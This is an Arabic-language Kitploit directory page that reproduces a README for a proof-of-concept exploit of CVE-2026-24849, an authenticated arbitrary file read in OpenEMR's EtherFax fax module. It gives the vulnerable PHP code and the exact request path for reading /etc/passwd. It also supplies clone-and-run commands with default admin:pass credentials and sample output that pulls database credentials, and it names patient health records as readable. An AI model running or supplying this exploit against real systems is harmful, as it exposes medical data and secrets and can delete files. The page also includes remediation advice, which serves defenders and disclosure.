Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-24849 — استغلال إثبات مفهوم لـ CVE-2026-24849، وهو اجتياز مسار مُصادَق / قراءة ملفات عشوائية في وحدة الفاكس/الرسائل النصية القصيرة (SMS) (EtherFax) في OpenEMR. يمكن لأي مستخدم مُصادَق — بغض النظر عن مستوى الصلاحيات — قراءة ملفات عشوائية من نظام ملفات الخادم بصلاحيات مستخدم خادم الويب (بيانات اعتماد قاعدة البيانات، مستندات المرضى/المعلومات الصحية المحمية (PHI)، /etc/passwd، …) | Kitploit
أدوات/GitHubGitHub/doany1/cve-2026-24849
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتجمع المعلوماتاختبار الاختراق
GitHubdoany1/cve-2026-24849

CVE-2026-24849

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

حول

استغلال إثبات مفهوم لـ CVE-2026-24849، وهو اجتياز مسار مُصادَق / قراءة ملفات عشوائية في وحدة الفاكس/الرسائل النصية القصيرة (SMS) (EtherFax) في OpenEMR. يمكن لأي مستخدم مُصادَق — بغض النظر عن مستوى الصلاحيات — قراءة ملفات عشوائية من نظام ملفات الخادم بصلاحيات مستخدم خادم الويب (بيانات اعتماد قاعدة البيانات، مستندات المرضى/المعلومات الصحية المحمية (PHI)، /etc/passwd، …)

منذ 2 أشهرلم تتم المراجعة بعد
مشاركة

CVE-2026-24849 قراءة ملفات اعتباطية بعد المصادقة في OpenEMR (EtherFax disposeDoc)

تم الاختبار على: OpenEMR الإصدار = 7.0.2

استغلال لإثبات المفهوم لـ CVE-2026-24849، وهو اجتياز مسار / قراءة ملفات اعتباطية بعد المصادقة في وحدة Fax/SMS (EtherFax) في OpenEMR. يمكن لأي مستخدم مصادق بغض النظر عن مستوى صلاحياته قراءة ملفات اعتباطية من نظام ملفات الخادم بصلاحيات مستخدم خادم الويب (بيانات اعتماد قاعدة البيانات، مستندات المرضى/المعلومات الصحية المحمية، /etc/passwd، …).

CVECVE-2026-24849
الثغرةاجتياز المسار / قراءة ملفات اعتباطية (CWE-22)
المكوّنEtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms
المتأثرOpenEMR < 7.0.4
تم التصحيح فيOpenEMR 7.0.4
المصادقةمطلوبة أي مستخدم، لا توجد صلاحيات مطلوبة
الخطورةNVD 6.5 (متوسطة) / GitHub CNA 9.9 (حرجة)
تم الاختبار علىOpenEMR 7.0.2 Ubuntu 22.04, PHP 8.1, Apache 2.4

الثغرة

تستقبل طريقة disposeDoc() في وحدة Fax/SMS معامل الطلب file_path المقدَّم من المُستدعي، وتتحقق من وجود الملف، ثم تمرّره مباشرة إلى readfile() بدون توحيد مسار، وبدون قائمة مسموحات، وبدون أي فحص تفويض عدا امتلاك جلسة صالحة:

root@kitploit:~
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
    $where = $this->getRequest('file_path', null);   // attacker-controlled, unvalidated
    if (file_exists($where)) {
        ...
        readfile($where);    // arbitrary file read as the web-server user
        unlink($where);      // ⚠ deletes the file after reading (see warning below)
        exit;
    }
    die('Problem with download. Use browser back button');
}

يتم الوصول إلى المعالج عبر موزّع الوحدة مع مسار مطلق في file_path (لا حاجة لاجتياز ../):

root@kitploit:~
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
        ?site=default
        &type=fax
        &_ACTION_COMMAND=disposeDoc
        &file_path=/etc/passwd
        &action=download

التأثير

يصبح حساب منخفض الصلاحيات (أو افتراضي) أداة قراءة ملفات كاملة من جهة الخادم:

  • بيانات اعتماد قاعدة البيانات sites/default/sqlconf.php
  • سجلات المرضى / المعلومات الصحية المحمية أي شيء تحت sites/<site>/documents/، حتى عندما يكون هذا الدليل مرفوضًا عبر Deny from all في .htaccess (تتم القراءة على مستوى القرص، متجاوزةً Apache)
  • ملفات النظام /etc/passwd، كود التطبيق، مفاتيح/رموز يمكن لمستخدم الويب قراءتها

⚠️ سلوك تدميري

يستدعي disposeDoc() الدالة unlink($where) بعد قراءة الملف. قراءة ملف يسمح لمستخدم خادم الويب بحذفه سيؤدي إلى إزالته. استهدف الملفات المملوكة للجذر (مثل /etc/passwd، وsqlconf.php في معظم التثبيتات) فالدليل الأب لا يمكن لمستخدم الويب الكتابة فيه، لذلك يفشل unlink() ويبقى الملف. كن واعيًا لما توجّه الأداة إليه.

المتطلبات المسبقة

  • بيانات اعتماد OpenEMR صالحة (أي مستوى صلاحيات غالبًا ما ينجح الافتراضي admin:pass).
  • وحدة Fax/SMS مفعّلة مع اختيار EtherFax كمزوّد الفاكس. لا يلزم حساب/بيانات اعتماد EtherFax حقيقية فقراءة الملف تتم قبل أي استدعاء لواجهة برمجية خارجية.

المتطلبات

  • Python 3.6+
  • requests
root@kitploit:~
pip3 install requests

التثبيت

root@kitploit:~
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py

الاستخدام

شغّلها بدون وسائط وستطلب كل ما تحتاجه:

root@kitploit:~
python3 CVE-2026-24849.py

أو قم بتشغيلها بشكل غير تفاعلي باستخدام الخيارات:

root@kitploit:~
# read a single file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd

# loot the DB credentials and save to a file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
    -f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php

الخيارات

إذا تم حذف -f، تدخل الأداة في حلقة قراءة تفاعلية لسحب ملفات متعددة خلال جلسة واحدة.

مثال

root@kitploit:~
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)

Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.

[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login  = 'openemr';
$pass   = 'openemr123';
$dbase  = 'openemr';
[+] --------------------------

كيف يعمل

  1. يسجّل الدخول باستخدام requests، محتفظًا بالجلسة في وعاء ملفات تعريف الارتباط الخاص به (يتجنب تناوب معرّف جلسة المتصفح الذي يجعل ملفات تعريف الارتباط المنسوخة غير صالحة).
  2. يؤكد الوصول عبر قراءة ملف فحص آمن مملوك للجذر ليميز بوضوح بين بيانات اعتماد خاطئة مقابل الوحدة غير مفعّلة مقابل نجاح.
  3. يرسل طلب القراءة disposeDoc، ويجرب تلقائيًا كلاً من disposeDoc وdisposeDocument (يختلف اسم الطريقة عبر الإصدارات الثانوية المتأثرة).

المعالجة

  • قم بالترقية إلى OpenEMR 7.0.4 أو أحدث. يوحّد الإصلاح المسار، ويقيّده في دليل مسموح، ويضيف فحص تفويض حقيقي.
  • غيّر بيانات الاعتماد الافتراضية وفرض إعادة تعيين كلمة المرور عند أول تسجيل دخول.
  • أبقِ الأسرار ومستندات المرضى خارج جذر الويب؛ لا تعتمد على .htaccess كعنصر التحكم الوحيد.

إخلاء المسؤولية

هذه الأداة مقدمة لأغراض الاختبار الأمني المصرّح به والتعليم فقط. استخدمها فقط ضد أنظمة تملكها أو لديك إذن صريح كتابي لاختبارها. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو عن أي ضرر يسببه هذا البرنامج. انتبه إلى السلوك التدميري للدالة unlink() الموصوف أعلاه.

المراجع

  • استشارة GitHub الأمنية: https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24849
  • المورّد: https://www.open-emr.org/

المؤلف

doany1

الترخيص

MIT انظر LICENSE.

تنزيل الأداة
Flagالوصفالافتراضي
-t, --targetالرابط الأساسي، مثل http://10.10.10.10يُطلب من المستخدم
-u, --userاسم مستخدم OpenEMRadmin
-P, --passwordكلمة مرور OpenEMRيُطلب من المستخدم (مخفية)
-s, --siteمعرّف موقع OpenEMRdefault
-f, --fileالمسار المطلق للملف البعيد المراد قراءتهحلقة تفاعلية إذا تم حذفه
-o, --outputحفظ الملف المستخرج محليًا بدل طباعته